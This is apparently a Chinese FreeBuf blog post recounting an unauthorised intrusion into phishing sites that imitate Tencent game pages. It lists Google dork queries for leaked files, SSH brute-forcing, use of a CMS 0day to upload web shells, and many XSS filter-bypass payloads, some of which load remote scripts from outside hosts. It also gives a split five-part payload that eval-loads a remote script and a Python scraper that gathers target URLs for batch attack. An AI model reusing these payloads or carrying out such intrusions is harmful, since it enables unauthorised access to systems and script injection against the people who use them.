前段时间有个网友给我发了个网址,说找到个专门做钓鱼网站的连接,让我看看,然后就引出了一系列事件。
网址如下:http://mfnyongshihuigui.jiebao8.top
当时也没在意,有天闲着无聊就开干了,
直接打开 jiebao8.top
果然是钓鱼站
先对其进行一些信息搜集看看
对其用谷歌语法搜索,看看是否有以下漏洞,
1目录遍历漏洞
语法为: site:jiebao8.top intitle:index.of
2 配置文件泄露
语法为: site:jiebao8.top ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini
3数据库文件泄露
site:jiebao8.top ext:sql | ext:dbf | ext:mdb
4日志文件泄露
site:jiebao8.top ext:log
5备份和历史文件
site:jiebao8.top ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup
6 SQL错误
site:jiebao8.top intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"
7 公开文件信息
site:jiebao8.top ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv
8 phpinfo() site:jiebao8.top ext:php intitle:phpinfo "published by the PHP Group"
然而没查到什么
将此域名放到情报分析里查看
https://x.threatbook.cn/domain/mfnyongshihuigui.jiebao8.top
IP [162.247.96.114]
发现改IP地址一共有230个域名
谁没事会注册这么多域名,肯定拿来干坏事
查询此IP
162.247.96.114
开放端口:21(ftp),80,102(ssh),3306
对ssh端口进行爆破,无果~
对该域名进行CMS识别
结果为 PCWAP
PCWAP一个小众的CMS系统,手里头刚好有个PCWAP的0day
越权进后台查看信息
http://mfnyongshihuigui.jiebao8.top
修改文件上传类型,添加.php
然后我们上传图片LOGO,因为修改了上传类型,直接上传大马试试
上传大马,小马,一句话
这里大概有20多个钓鱼网站,DNF,吃鸡的
尝试着提权,但是发现执行不了linux命令,可能禁止了
全部都是钓鱼站
我直接打包了所有源码,说实话,我很想对其进行代码审计,不过,我代码审计不是我的强项
而且种钓鱼网站我好像搞过,不过当时没盲打进去,现在拿下了源码,我肯定要试试这边的过滤规则
因为我本人不会代码审计,所以说拿到后台以后也只是凭着自己的经验模糊测试
在提交账号密码时抓包
输入paylaod
u=12312312&p=12312"><c>1&bianhao=1
后台看回显
c标签被成功执行,证明有XSS漏洞, 现在我们来进一步测试
paylaod为
u=12313123&p=32"><body/onfocus=alert``>//3&bianhao=1
发现页面被拦截,
难道alert是危险字符?换个事件看看
payload:
u=12313123&p=32"><body/onfocus=confirm``>//3&bianhao=1
成功弹窗,现在我们来开始构造xss paylaod
如果你之前看过我的文章,我发布过很多过狗的xss paylaod
连接如下:https://bbs.ichunqiu.com/thread-31886-1-1.html
我们直接拿来用
<svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">
payload为
u=21312312&p=<svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">&bianhao=1
被拦截了,在测试看看
payload为,对关键字符HTML编码试试
u=21312312&p=<img src=1 onerror=document.write(['<script src=\'http://www.baidu.com\'></script>']).join('')></img>&bianhao=1
被拦截
用string.fromcharcode函数构造payload 试试,还是不行
我接近试了上百个payload,回显都是被拦截
凭着我单身23年的经验发现这个xss 过滤机制可能没那么简单
通过不断的模糊测试,发现对方的过滤机制大概如下:
带有a字符被拦截,已经onmouseover,onload等常见事件全部被过滤,最长处最大长度为32个字符,+,等特殊字符被过滤,这就意味着,a标签,各种编码机制都不能用~~真是有够变态的,但是也通过测试得知能够执行的事件有onscroll,onfocus,onfocus,并且unciode 编码没被过滤,没过滤的标签为 body,input,br,i 标签。
只有32个字符能输入,我目前搜集最短的xss paylaod 20个,也就是<script/src=//xs.xs>,但是script早就被过滤了 32 个字符,过滤了这么多肯定是构造不了,所以只能用拆分跨站,通过查看源码我发现了一个新的思路。
就是他后台调用的jquery框架,
由此自己研究出了一个新的拆分跨站
思路就是:
我们先构造一个函数,只要鼠标滚轮移动,就让所有的事件获取焦点,再用input标签启动onfocus函数 分别加载我的XSS站点(如果你没听懂的话,看看下面的代码)
代码如下,首先我们来了解下 一些javascript的事件以及函数
onscroll 事件 在元素滚动条在滚动时触发
onfocus 事件在对象获得焦点时发生
以及浏览器的一些特性,当我们输入i标签时,我们不需要输入 闭合标签(原本完整的i标签是 <i id="i">12312</i>)
而现在我们只需要输入 <i id="i">12312 即可
我们进入后台查看如下
后面的标签被自动 补上去了
了解了这些,看接下来的最新拆分跨站就容易多了,
拆分跨站代码如下
<body onscroll=$(`*`).focus()> 1
<i id="i">$.getScript(`//xs.tv`) 2
<input/onfocus=s=$("i").text()> 3
<input/onfocus=ev\u0061l(s)> 4
<br><br><br><br><br><br><br><br> 5
这段代码的意思是,只要对方移动鼠标滑轮或者手机端向下面滑动,就会产生出一个事件 $(`*`).focus() 这是jq的选择器,意思是让所有的元素获得焦点
然后下面的两个input标签就获取了焦点, 而input标签里有一个事件,onfocus,当input标签获取了焦点的时候,就会触发onfocus函数,我在onfocus函数里的代码意思是 获取i标签里的内容(也就是 $.getScript(`//xs.tv`) ),并且用eval执行它,所以这段代码整体的执行效果就是
只要对方移动了滑轮,就会执行 eval($.getScript(`//xs.tv`))
如果你还没看明白的话,那就实践试试吧
我们把xss paylad 分成5段分别输入进去
效果如下:
已经成功加载了我的XSS站点,想要拿下这种类型的后台,就需要两位数的域名
根据这个站点的关键词
幸运冒险家启航-心悦俱乐部官方网站-腾讯游戏
老兵空降回归-绝地求生官方网站-腾讯游戏 (吃鸡的钓鱼站找不到)
百度一搜索,全是钓鱼界面
于是我写了个批量攻击的脚本,先用采集器采集这些钓鱼网址,再批量注入
import requests
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection' : 'keep-alive',
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'X-Forwarded-For':'120.239.169.74'
}
#设置头部
proxies={
"http":"http://127.0.0.1:8080",
"https":"https://127.0.0.1:8080",
}
#设置代理
for i in range(0,200,10): #根据百度的url设置搜索1-20页
bd_search="https://www.baidu.com/s?wd=幸运冒险家启航-心悦俱乐部官方网站-腾讯游戏&pn=%s" % str(i) #关键词搜索
r=requests.get(bd_search,headers=headers,verify=False,proxies=proxies,timeout=2) #发起请求
f=open("1.html","a+",encoding="utf-8") #把请求结果保存到1.html里
f.write(r.text)
f.close()
soup=BeautifulSoup(r.text,"lxml")
url_list=soup.select(".t > a") #对请求回来的内容进行查找,找出a标签里(找出钓鱼链接)
for url in url_list:
real_url=url['href'] #遍历循环,并且打印
try:
r=requests.get(real_url,headers=headers,verify=False,proxies=proxies,timeout=2) #再次请求
print(r.url) #打印出钓鱼链接
f=open("exp.txt","a+",encoding="utf-8")
f.write(r.url+"\n") #把查找到的钓鱼链接保存到exp.txt里
f.close()
except Exception as e:
print(e)
效果如下
然后再批量渗透,自己也写了一个批量渗透钓鱼网站的脚本(不打算发,怕被人说我传播黑客工具。。。。)
拿到的钓鱼网站大部分貌似都没什么账号密码,就看到这个吃鸡的钓鱼站
我帮这位老兄删光了
一个钓鱼站大概一天上百个账号密码,不知道有多少人QQ是这样被盗的
此次渗透,可能话比较多,各位别介意,这也是为了XSS基础比较薄弱的学友考虑~~嘿嘿~~~
*本文作者:风在指尖,转载请注明来自 FreeBuf.COM